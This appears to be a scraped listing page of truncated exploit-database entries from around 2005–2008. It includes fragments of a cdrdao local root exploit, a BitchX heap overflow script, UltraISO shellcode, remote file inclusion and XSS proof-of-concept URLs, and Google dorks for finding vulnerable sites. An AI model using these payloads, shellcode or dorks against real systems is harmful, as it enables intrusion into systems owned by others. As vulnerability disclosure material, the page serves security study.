CVE-2008-1881

creationtimestamp| type| source ---|---|--- 2008-03-14 00:00:00+00:00| confirmed| https://www.exploit-db.com/exploits/5250 2008-05-23 00:00:00+00:00| confirmed| https://www.exploit-db.com/exploits/5667...

Linux Mandrake <= 10.2 cdrdao Local Root Exploit (unfixed)

No description provided by source. !/bin/sh cdrdao local root exploit newbug at chroot.org IRC: irc.chroot.org chroot May 2005 echo "cdrdao private exploit" echo "This exploit only for Mandrake series" echo "newbug at chroot.org" echo "May 2005" echo "checking if cdrdao is setuid ..."; if ! -u...

PHPDJ 0.5 - 'djpage.php' Remote File Inclusion

PHPDJ v05 page Remote File Inclusion Vulnerability D.S: http://sourceforge.net/projects/phpdj/ D0RK : allintext:"PHPDJ was created by www.php-mania.co.uk" POC : /PHPDJv05/dj/djpage.php?page=evil-script.txt? Thanx To : Tryag.Com/cc & Asb-May.net/bb milw0rm.com 2007-10-17...

BitchX 1.1 Final MODE Remote Heap Overflow Exploit (0-day)

No description provided by source. !/usr/bin/env ruby BitchX-1.1 Final MODE Heap Overflow 0-day By bannedit Discovered May 16th 2007 - Yet another overflow which can overwrite GOT I found this vuln after modifying ilja's ircfuzz code. Currently this exploit attempts to overwrite the GOT with the...

bitchx-heap.txt

!/usr/bin/env ruby BitchX-1.1 Final MODE Heap Overflow 0-day By bannedit Discovered May 16th 2007 - Yet another overflow which can overwrite GOT I found this vuln after modifying ilja's ircfuzz code. Currently this exploit attempts to overwrite the GOT with the ret address to the shellcode. The...

BitchX 1.1 Final MODE Remote Heap Overflow Exploit (0-day)

Exploit for linux platform in category remote exploits ========================================================== BitchX 1.1 Final MODE Remote Heap Overflow Exploit 0-day ========================================================== !/usr/bin/env ruby BitchX-1.1 Final MODE Heap Overflow 0-day By...

BitchX 1.1 Final - MODE Remote Heap Overflow

!/usr/bin/env ruby BitchX-1.1 Final MODE Heap Overflow 0-day By bannedit Discovered May 16th 2007 - Yet another overflow which can overwrite GOT I found this vuln after modifying ilja's ircfuzz code. Currently this exploit attempts to overwrite the GOT with the ret address to the shellcode. The...

CVE-2007-3049

Cross-site scripting XSS vulnerability in index.php in Buttercup web file manager BWFM May 2007 allows remote attackers to inject arbitrary web script or HTML via the title parameter...

UltraISO <= 8.6.2.2011 (Cue/Bin Files) Local Buffer Overflow Exploit

No description provided by source. / Date : May 28th 2007. UltraISO = 8.6.2.2011 local buffer-over flow by n00b You might need to change the jmp esp% adress to your version. Tested on win xp service pack 2 eng executes calc.Don't forget you need to have the bin and cue file in the same ...

Buttercup WFM - Title Cross-Site Scripting

Buttercup WFM - Title Cross-Site Scripting source: https://www.securityfocus.com/bid/24269/info Buttercup WFM Web File Manager is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. An attacker may leverage this issue to execute...

Buttercup WFM - 'Title' Cross-Site Scripting

source: https://www.securityfocus.com/bid/24269/info Buttercup WFM Web File Manager is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. An attacker may leverage this issue to execute arbitrary script code in the browser of an...

ultra-noob.txt

/ Date : May 28th 2007. UltraISO executes calc.Don't forget you need to have the bin and cue file in the same Directory special thanks to Thomas Pollet also. / include include //Calc shellcode unsigned char shellcode = "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"...

UltraISO 8.6.2.2011 - .cue.bin Local Buffer Overflow (1)

UltraISO 8.6.2.2011 - .cue.bin Local Buffer Overflow 1 / Date : May 28th 2007. UltraISO executes calc.Don't forget you need to have the bin and cue file in the same Directory special thanks to Thomas Pollet also. / include include //Calc shellcode unsigned char shellcode =...

rmeasymail-xss.txt

RM EasyMail Plus - Cross-Site Scripting Vulnerability 2 This cross-site scripting vulnerability can be exploited if a client views an email with a specially crafted title. Vulnerable E-Mail Title: alert1 Vulnerable: RM EasyMail Plus Google d0rk: intitle:"Powered by RM EasyMail Plus" John Martinel...

hlstats-xss.txt

HLstats v1.35 Cross-Site Scripting Vulnerability HLstats contains a cross-site scripting vulnerability that may be exploited through the URI. Vulnerability: http://target.com/hlstats/hlstats.php/"alert1 Vulnerable: HLstats v1.35 other versions may also be vulnerable Google d0rk: "generated in...

Unfixed XSS vulnerability at www.chass.utoronto.ca

Security researcher MaXWeL, has submitted on 17/05/2007 a cross-site-scripting XSS vulnerability affecting www.chass.utoronto.ca, which at the time of submission ranked 3151 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 18/05/2007. It is...

podium-cookie.txt

Podium CMS - Cookie Manipulation Exploit Podium CMS - Cookie Manipulation Exploitdiscovered by John MartinelliGoogle d0rk: inurl:"podium/Default.aspx" "...

Bradford CampusManager v3.1(6) Sensitive Data Disclosure

Bradford CampusManager v3.16 Sensitive Data Disclosure The following directories should be protected from world readability. Child folders include backup, log, and configuration files. http://cmnms.target.com:8080/runTime/ http://cmnms.target.com:8080/remediationReports/ Vulnerable: CampusManager...

FileRun Vuln.

FileRun Vuln. Vuln. discovered by : r0t Date: 2 May 2007 vendor:http://filerun.dreamhosters.com/ orginal advisory:http://pridels.blogspot.com/2007/05/filerun-vuln.html affected versions: 1.0 and previous 1. FileRun contains a flaw that allows a remote sql injection attacks.Input passed to the "fi...

Kaqoo Auction - install_root Multiple Remote File Inclusions

Kaqoo Auction - installroot Multiple Remote File Inclusions To ConTacT mE @ www.Asb-May.net/bb ScRiPt:-http://kaqoo.com/server/download.php GrEaTz To:-ToOofa-HaCk.eGy-Alkmadz-Bright Dark All AsB-MaY DisCoverY ExPloIts GrOup Discovered By:- ThE dE@Th Wrong Code:- includeonce"$installroot...